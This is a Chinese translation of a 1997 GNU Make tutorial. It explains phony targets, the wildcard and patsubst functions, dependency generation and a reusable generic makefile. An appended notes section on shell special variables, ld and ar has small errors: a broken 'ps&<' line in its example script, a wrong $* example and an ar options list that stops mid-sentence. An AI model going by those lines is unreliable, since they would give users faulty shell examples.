      假象目的也可以用来描述一组非预设的动作。例如,你想把所有由 make 产生的文件删除,你可以在 makefile 里设立这样一个规则:

      veryclean :
        rm *.o
        rm myprog

      前提是没有其它的规则依靠这个 ‘veryclean’ 目的,它将永远 不会被执行。但是,如果你明确的使用命令 ‘make veryclean’ , make 会把这个目的做为它的主要目标,执行那些 rm 命令。

      如果你的磁碟上存在一个叫 veryclean 文件,会发生什么事?这 时因为在这个规则里没有任何依靠文件,所以这个目的文件一定是 最新的了(所有的依靠文件都已经是最新的了),所以既使用户明 确命令 make 重新产生它,也不会有任何事情发生。解决方法是标 明所有的假象目的(用 .PHONY),这就告诉 make 不用检查它们 是否存在于磁碟上,也不用查找任何隐含规则,直接假设指定的目 的需要被更新。在 makefile 里加入下面这行包含上面规则的规则:

      .PHONY : veryclean

      就可以了。注意,这是一个特殊的 make 规则,make 知道 .PHONY 是一个特殊目的,当然你可以在它的依靠里加入你想用的任何假象 目的,而 make 知道它们都是假象目的。

      2.6 函数 (Functions)

      makefile 里的函数跟它的变量很相似——使用的时候,你用一个 $ 符号跟开括号,函数名,空格后跟一列由逗号分隔的参数,最后 用关括号结束。例如,在 GNU Make 里有一个叫 ‘wildcard’ 的函 数,它有一个参数,功能是展开成一列所有符合由其参数描述的文 件名,文件间以空格间隔。你可以像下面所示使用这个命令:

      SOURCES = $(wildcard *.c)

      这行会产生一个所有以 ‘.c’ 结尾的文件的列表,然后存入变量 SOURCES 里。当然你不需要一定要把结果存入一个变量。

      另一个有用的函数是 patsubst ( patten substitude, 匹配替 换的缩写)函数。它需要3个参数——第一个是一个需要匹配的 式样,第二个表示用什么来替换它,第三个是一个需要被处理的 由空格分隔的字列。例如,处理那个经过上面定义后的变量,

      OBJS = $(patsubst %.c,%.o,$(SOURCES))

      这行将处理所有在 SOURCES 字列中的字(一列文件名),如果它的 结尾是 ‘.c’ ,就用 ‘.o’ 把 ‘.c’ 取代。注意这里的 % 符号将匹 配一个或多个字符,而它每次所匹配的字串叫做一个‘柄’(stem) 。 在第二个参数里, % 被解读成用第一参数所匹配的那个柄。

      2.7 一个比较有效的 makefile

      利用我们现在所学的,我们可以建立一个相当有效的 makefile 。 这个 makefile 可以完成大部分我们需要的依靠检查,不用做太大 的改变就可直接用在大多数的项目里。

      首先我们需要一个基本的 makefile 来建我们的程序。我们可以让 它搜索当前目录,找到源码文件,并且假设它们都是属于我们的项 目的,放进一个叫 SOURCES 的变量。这里如果也包含所有的 *.cc 文件,也许会更保险,因为源码文件可能是 C++ 码的。

      SOURCES = $(wildcard *.c *.cc)

      利用 patsubst ,我们可以由源码文件名产生目标文件名,我们需 要编译出这些目标文件。如果我们的源码文件既有 .c 文件,也有 .cc 文件,我们需要使用相嵌的 patsubst 函数呼叫:

      OBJS = $(patsubst %.c,%.o,$(patsubst %.cc,%.o,$(SOURCES)))

      最里面一层 patsubst 的呼叫会对 .cc 文件进行后缀替代,产生的结 果被外层的 patsubst 呼叫处理,进行对 .c 文件后缀的替代。

      现在我们可以设立一个规则来建可执行文件:

      myprog : $(OBJS)
        gcc -o myprog $(OBJS)

      进一步的规则不一定需要, gcc 已经知道怎么去生成目标文件 (object files) 。下面我们可以设定产生依靠信息的规则:

      depends : $(SOURCES)
        gcc -M $(SOURCES) > depends

      在这里如果一个叫 ‘depends’ 的文件不存在,或任何一个源码文件 比一个已存在的 depends 文件新,那么一个 depends 文件会被生 成。depends 文件将会含有由 gcc 产生的关于源码文件的规则(注 意 -M 开关)。现在我们要让 make 把这些规则当做 makefile 档 的一部分。这里使用的技巧很像 C 语言中的 #include 系统——我 们要求 make 把这个文件 include 到 makefile 里,如下:

      include depends

      GNU Make 看到这个,检查 ‘depends’ 目的是否更新了,如果没有, 它用我们给它的命令重新产生 depends 档。然后它会把这组(新) 规则包含进来,继续处理最终目标 ‘myprog’ 。当看到有关 myprog 的规则,它会检查所有的目标文件是否更新——利用 depends 文件 里的规则,当然这些规则现在已经是更新过的了。

      这个系统其实效率很低,因为每当一个源码文件被改动,所有的源码 文件都要被预处理以产生一个新的 ‘depends’ 文件。而且它也不是 100% 的安全,这是因为当一个 header 档被改动,依靠信息并不会 被更新。但就基本工作来说,它也算相当有用的了。

      2.8 一个更好的 makefile

      这是一个我为我大多数项目设计的 makefile 。它应该可以不需要修 改的用在大部分项目里。我主要把它用在 djgpp 上,那是一个 DOS 版的 gcc 编译器。因此你可以看到执行的命令名、 ‘alleg’ 程序包、 和 RM -F 变量都反映了这一点。

      === makefile 开始 ===

      ######################################
      #
      # Generic makefile
      #
      # by George Foot
      # email: george.foot@merton.ox.ac.uk
      #
      # Copyright (c) 1997 George Foot
      # All rights reserved.
      # 保留所有版权
      #
      # No warranty, no liability;
      # you use this at your own risk.
      # 没保险,不负责
      # 你要用这个,你自己担风险
      #
      # You are free to modify and
      # distribute this without giving
      # credit to the original author.
      # 你可以随便更改和散发这个文件
      # 而不需要给原作者什么荣誉。
      # (你好意思?)
      #
      ######################################

      ### Customising
      # 用户设定
      #
      # Adjust the following if necessary; EXECUTABLE is the target
      # executable’s filename, and LIBS is a list of libraries to link in
      # (e.g. alleg, stdcx, iostr, etc). You can override these on make’s
      # command line of course, if you prefer to do it that way.
      #
      # 如果需要,调整下面的东西。 EXECUTABLE 是目标的可执行文件名, LIBS
      # 是一个需要连接的程序包列表(例如 alleg, stdcx, iostr 等等)。当然你
      # 可以在 make 的命令行覆盖它们,你愿意就没问题。
      #

      EXECUTABLE := mushroom.exe
      LIBS := alleg

      # Now alter any implicit rules’ variables if you like, e.g.:
      #
      # 现在来改变任何你想改动的隐含规则中的变量,例如

      CFLAGS := -g -Wall -O3 -m486
      CXXFLAGS := $(CFLAGS)

      # The next bit checks to see whether rm is in your djgpp bin
      # directory; if not it uses del instead, but this can cause (harmless)
      # `File not found’ error messages. If you are not using DOS at all,
      # set the variable to something which will unquestioningly remove
      # files.
      #
      # 下面先检查你的 djgpp 命令目录下有没有 rm 命令,如果没有,我们使用
      # del 命令来代替,但有可能给我们 ‘File not found’ 这个错误信息,这没
      # 什么大碍。如果你不是用 DOS ,把它设定成一个删文件而不废话的命令。
      # (其实这一步在 UNIX 类的系统上是多余的,只是方便 DOS 用户。 UNIX
      # 用户可以删除这5行命令。)

      ifneq ($(wildcard $(DJDIR)/bin/rm.exe),)
      RM-F := rm -f
      else
      RM-F := del
      endif

      # You shouldn’t need to change anything below this point.
      #
      # 从这里开始,你应该不需要改动任何东西。(我是不太相信,太NB了!)

      SOURCE := $(wildcard *.c) $(wildcard *.cc)
      OBJS := $(patsubst %.c,%.o,$(patsubst %.cc,%.o,$(SOURCE)))
      DEPS := $(patsubst %.o,%.d,$(OBJS))
      MISSING_DEPS := $(filter-out $(wildcard $(DEPS)),$(DEPS))
      MISSING_DEPS_SOURCES := $(wildcard $(patsubst %.d,%.c,$(MISSING_DEPS)) \
      $(patsubst %.d,%.cc,$(MISSING_DEPS)))
      CPPFLAGS += -MD

      .PHONY : everything deps objs clean veryclean rebuild

      everything : $(EXECUTABLE)

      deps : $(DEPS)

      objs : $(OBJS)

      clean :
        @$(RM-F) *.o
        @$(RM-F) *.d

      veryclean: clean
        @$(RM-F) $(EXECUTABLE)

      rebuild: veryclean everything

      ifneq ($(MISSING_DEPS),)
      $(MISSING_DEPS) :
        @$(RM-F) $(patsubst %.d,%.o,$@)
      endif

      -include $(DEPS)

      $(EXECUTABLE) : $(OBJS)
        gcc -o $(EXECUTABLE) $(OBJS) $(addprefix -l,$(LIBS))

      === makefile 结束 ===

      有几个地方值得解释一下的。首先,我在定义大部分变量的时候使 用的是 := 而不是 = 符号。它的作用是立即把定义中参考到的函 数和变量都展开了。如果使用 = 的话,函数和变量参考会留在那 儿,就是说改变一个变量的值会导致其它变量的值也被改变。例 如:

      A = foo
      B = $(A)
      # 现在 B 是 $(A) ,而 $(A) 是 ‘foo’ 。
      A = bar
      # 现在 B 仍然是 $(A) ,但它的值已随着变成 ‘bar’ 了。
      B := $(A)
      # 现在 B 的值是 ‘bar’ 。
      A = foo
      # B 的值仍然是 ‘bar’ 。

      make 会忽略在 # 符号后面直到那一行结束的所有文字。

      ifneg…else…endif 系统是 makefile 里让某一部分码有条件的 失效/有效的工具。 ifeq 使用两个参数,如果它们相同,它把直 到 else (或者 endif ,如果没有 else 的话)的一段码加进 makefile 里;如果不同,把 else 到 endif 间的一段码加入 makefile (如果有 else )。 ifneq 的用法刚好相反。

      ‘filter-out’ 函数使用两个用空格分开的列表,它把第二列表中所 有的存在于第一列表中的项目删除。我用它来处理 DEPS 列表,把所 有已经存在的项目都删除,而只保留缺少的那些。

      我前面说过, CPPFLAGS 存有用于隐含规则中传给预处理器的一些 旗标。而 -MD 开关类似 -M 开关,但是从源码文件 .c 或 .cc 中 形成的文件名是使用后缀 .d 的(这就解释了我形成 DEPS 变量的 步骤)。DEPS 里提到的文件后来用 ‘-include’ 加进了 makefile 里,它隐藏了所有因文件不存在而产生的错误信息。

      如果任何依靠文件不存在, makefile 会把相应的 .o 文件从磁碟 上删除,从而使得 make 重建它。因为 CPPFLAGS 指定了 -MD , 它的 .d 文件也被重新产生。

      最后, ‘addprefix’ 函数把第二个参数列表的每一项前缀上第一 个参数值。

      这个 makefile 的那些目的是(这些目的可以传给 make 的命令行 来直接选用):

      everything:(预设) 更新主要的可执行程序,并且为每一个 源码文件生成或更新一个 ‘.d’ 文件和一个 ‘.o’ 文件。

      deps: 只是为每一个源码程序产生或更新一个 ‘.d’ 文件。

      objs: 为每一个源码程序生成或更新 ‘.d’ 文件和目标文件。

      clean: 删除所有中介/依靠文件( *.d 和 *.o )。

      veryclean: 做 `clean’ 和删除可执行文件。

      rebuild: 先做 `veryclean’ 然后 `everything’ ;既完全重建。

      除了预设的 everything 以外,这里头只有 clean , veryclean , 和 rebuild 对用户是有意义的。

      我还没有发现当给出一个源码文件的目录,这个 makefile 会失败的 情况,除非依靠文件被弄乱。如果这种弄乱的情况发生了,只要输入 `make clean’ ,所有的目标文件和依靠文件会被删除,问题就应该 被解决了。当然,最好不要把它们弄乱。如果你发现在某种情况下这 个 makefile 文件不能完成它的工作,请告诉我,我会把它整好的。

3 总结
~~~~~~~~~~~~~~~

我希望这篇文章足够详细的解释了多文件项目是怎么运作的,也说明了 怎样安全而合理的使用它。到此,你应该可以轻松的利用 GNU Make 工 具来管理小型的项目,如果你完全理解了后面几个部分的话,这些对于 你来说应该没什么困难。

GNU Make 是一件强大的工具,虽然它主要是用来建立程序,它还有很多 别的用处。如果想要知道更多有关这个工具的知识,它的句法,函数, 和许多别的特点,你应该参看它的参考文件 (info pages, 别的 GNU 工具也一样,看它们的 info pages. )。

老铁补充

Shell定义的特殊变量
$#:内存位置参数的个数
$$:该shell script的进程代号(pid)
$!:最后一个后台进程代号
$*:所有位置参数字符串,不限于9个参数
$@:与$*相似,但”$@”的值与”$*”不同
例:若$*= word1 word2 word3
则”$”=” word1 word2 word3″
“$@”=” word1″ “word2″ “word3″
例16.17
$ cat testsym
echo ‘no. of positional parameters”‘$#
echo ‘process no. of current shell:’$$
ps&< echo ‘process no. of last background shell:’$!
rm aaa

ld:UNIX连接器(link editor)
ld是建立可执行程序的最后一个步骤.

编译程序选项
-Ldir:额外加上ld要寻找程序库的目录
-lname:寻找程序库—libname.so或libname.a

文件库(Archive File)
ar key afile [files...]
r:将files加入afile或取代afile内的文件,files将被加在afile的最后
v:verboise.若是配合新增

C Scene 官方网站: http://cscene.differnet.org
C Scene 官方电邮: cscene@mindless.com
This page is Copyright ? 1997 By C Scene. All Rights Reserved